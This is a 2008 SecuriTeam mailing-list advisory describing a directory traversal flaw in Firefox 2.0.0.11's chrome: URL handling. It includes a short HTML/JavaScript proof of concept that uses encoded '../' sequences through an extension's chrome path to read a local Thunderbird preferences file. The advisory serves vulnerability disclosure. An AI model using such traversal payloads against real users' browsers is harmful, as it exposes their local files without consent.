

[NEWS] Firefox chrome: URL Handling Directory Traversal

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2008-01/msg00045.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxxx>
 - *Date:* 23 Jan 2008 18:26:39 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Firefox chrome: URL Handling Directory Traversal

SUMMARY

Firefox doesn't properly handle escaped characters. It is possible to load any JavaScript file on a victims machine. This attack is similar to previously disclosed vulnerabilities but is not constrained to basic Firefox files.

DETAILS

Vulnerable Systems:

- * Firefox version 2.0.0.11

To exploit this the victim needs to have an extension installed that does not store its contents in a jar archive (such as the Download Statusbar). Gerry created a demo that will read the Mozilla Thunderbird preferences file all.js (C:\Program Files\Mozilla Thunderbird\greprefs\all.js).

This looks very interesting and may have bigger potential, but for now, its just another information disclosure.

Proof of concept:

[NEWS] Firefox chrome: URL Handling Directory Traversal

```
<script>pref = function(x, y){ document.write(x + ' -> ' + y +
'<br>');};</script>
<script
src='chrome://downbar/content/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e
%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fProgram%20Files
%2fMozilla%20Thunderbird%2fgreprefs%2fall.js'></script>
```

ADDITIONAL INFORMATION

The information has been provided by Gerry Eisenhaur.

The original article can be found at:

<http://www.hiredhacker.com/2008/01/19/firefox-chrome-url-handling-directory-traversal/>
<http://www.hiredhacker.com/2008/01/19/firefox-chrome-url-handling-directory-traversal/>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.